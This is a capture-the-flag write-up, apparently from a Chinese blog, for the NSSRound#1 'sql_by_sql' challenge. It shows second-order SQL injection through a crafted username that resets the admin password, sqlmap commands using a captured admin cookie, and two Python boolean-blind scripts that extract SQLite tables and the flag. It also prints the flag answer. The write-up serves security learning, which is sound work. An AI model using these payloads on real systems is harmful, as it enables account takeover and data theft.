[NSSRound#1 Basic]sql_by_sql - 二次注入+布尔盲注||sqlmap

进入注册界面后

  假设sql:update user set password = '' where username = '' and password = ''

    此时如果我们注册的用户名是admin'--+、admin'#、admin'--的话

  update user set password = '123' where username = 'admin'#' and password = ''

1、所以先注册名为:admin'--+的用户,这样就可以直接修改admin密码,登录后,获取cookie

2、用户界面提供查询功能,但是只能查有或没有该用户,而且不会出现报错,说明是sqllite数据库

方法一:sqlmap

尝试利用sqlmap爆破,因为查询是在query层次,且是post,所以我们的sqlmap代码如下:
py sqlmap.py -u "http://node4.anna.nssctf.cn:28138/query" --data="id=1" --cookie="eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZOvyaQ.m7kRbsLxlP5nQfHHxv4WpfnAePQ"

------如果这里的url写错了,是查不到的,而且cookie很重要,非admin的cookie无法进行查询

------查询结果

  Parameter: id (POST)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=1 AND 1049=1049
py sqlmap.py -u "http://node4.anna.nssctf.cn:28138/query" --data="id=1" --cookie="eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZOvyaQ.m7kRbsLxlP5nQfHHxv4WpfnAePQ" --table
py sqlmap.py -u "http://node4.anna.nssctf.cn:28138/query" --data="id=1" --cookie="eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZOvyaQ.m7kRbsLxlP5nQfHHxv4WpfnAePQ" -T flag --columns
py sqlmap.py -u "http://node4.anna.nssctf.cn:28138/query" --data="id=1" --cookie="eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZOvyaQ.m7kRbsLxlP5nQfHHxv4WpfnAePQ" -T flag -C flag --dump

得到flag=NSSCTF{b10c030d-ff18-43ce-b0a8-61cf26d9c070}

方法二:手动盲注+py脚本

用burpsuite抓包,判断id类型,使用id=1 or 1=1,如果是字符型则会提示不存在,但是这里明显可以执行,说明id是数字型

1、构造sql注入语句,由于sqllite数据库,sql的保留字会有所区别

2、SQLite中没有ascii()函数,所以我们盲注时需要直接和字符比较
1 and substr((select group_concat(name) from sqlite_master where type='table'),1,1)='a' ------ 查表名

......

脚本:

python 复制代码
import requests
from string import *
url="http://1.14.71.254:28287/query"
result=''
str=ascii_letters+digits+"{}-_"
for x in range(38,100):
    print("this is",x)
    for i in str:
        query="-1 or substr((select group_concat(name) from sqlite_master),{},1)>'{}'"
        #query="-1 or substr((select group_concat(sql) from sqlite_master where name='flag'),{},1)>'{}'"
        #query="-1 or substr((select flag from flag),{},1)='{}'"
        data={"id":query.format(x,i)}
        # print(data)
        res=requests.post(url=url,data=data)
        print(res.text)
        if "exist" in res.text:
            result+=i
            print(result)
            # flag=False
            break
print(result)

脚本2:

python 复制代码
import requests

true_result = 'exist'    #正确的回显
url = 'http://1.14.71.254:28033/query'

def table_name(url):
    table_name = ''
    select = "select name from sqlite_master where type='table' limit 1,1"
    for i in range(1, 60):
        tablelength_payload = f'''1 and length(({select}))={i}'''
        data = {'id':tablelength_payload}
        response = requests.post(url=url, data=data)
        if true_result in response.text:
            print("table length : "+str(i))
            for j in range(1, i + 1):
                print('[*]now in {}'.format(j))
                for asc in range(33, 127):
                    ss = chr(asc)
                    table_payload = f'''id=1 and substr(({select}),{j},1)=\'{ss}\''''
                    data2 = {'id':table_payload}
                    res = requests.post(url=url, data=data2)
                    if true_result in res.text:
                        table_name = table_name + chr(asc)
                        print(table_name)
                        break
            break
def column_name(url):
    column_name = ''
    select = "select sql from sqlite_master where type='table' and name = 'flag'"
    for i in range(1, 100):
        columnlength_payload = f'''1 and length(({select}))={i}'''
        data = {'id':columnlength_payload}
        response = requests.post(url=url, data=data)
        if true_result in response.text:
            print("column length : "+str(i))
            for j in range(1, i + 1):
                print("[*]now in {}".format(j))
                for asc in range(33, 127):
                    ss = chr(asc)
                    column_payload = f'''1 and substr(({select}),{j},1)=\'{ss}\''''
                    data2 = {'id': column_payload}
                    res = requests.post(url=url, data=data2)
                    if true_result in res.text:
                        column_name = column_name + chr(asc)
                        print(column_name)
                        break
            break
def getflag(url):
    for i in range(1,60):
        flag = ''
        select = "select flag from flag limit 0,1"
        flaglength = f'''1 and length(({select}))={i}'''
        data = {'id': flaglength}
        response = requests.post(url=url, data=data)
        if true_result in response.text:
            print("flag length : "+str(i))
            for j in range(1, i+1):
                print("[*]now in {}".format(j))
                for asc in range(33,127):
                    ss = chr(asc)
                    flagpayload = f'''1 and substr(({select}),{j},1)=\'{ss}\''''
                    data2 = {'id': flagpayload}
                    res = requests.post(url=url, data=data2)
                    if true_result in res.text:
                        flag = flag+chr(asc)
                        print(flag)
                        break
            break
#table_name(url)
#column_name(url)
getflag(url)
相关推荐
Fnetlink19 小时前
Fnet 云网安 260904
网络·人工智能·安全·web安全·网络安全
志栋智能10 小时前
安全超自动化如何支持大规模安全运营?
网络·安全·自动化
安科瑞黄益鸣10 小时前
筑牢高压直流安全防线:AIM‑T500L 绝缘监测仪在算力中心 DC800V 系统的应用
安全
HugoStudio_SWAN10 小时前
洛谷 B4500 / B4449 / B3843 凯撒密码、密码强度与密码合规——加密与安全的三道门
c++·学习·程序人生·算法·安全
小五传输10 小时前
FTP替代怎么做?医院文件安全传输选型与迁移指南
大数据·运维·安全
luckystar513~12 小时前
Hermes 实战 :系列收官/生产化——安全审计与运维
运维·人工智能·安全·agent·智能体开发·hermes实战·智能体网关
大模型码小白12 小时前
AI大模型接入SDK:人工智能核心概念与发展史
大数据·运维·人工智能·安全·prompt
金立基胶粘13 小时前
如何利用替塑油推动环保发展?
大数据·安全
聚美智数14 小时前
网安查询-备案查询-网络安全查询API接口介绍
网络·数据库·web安全
姜太小白16 小时前
【Oracle】记排查sh脚本调用SQL执行卡顿的排查总结
数据库·sql·oracle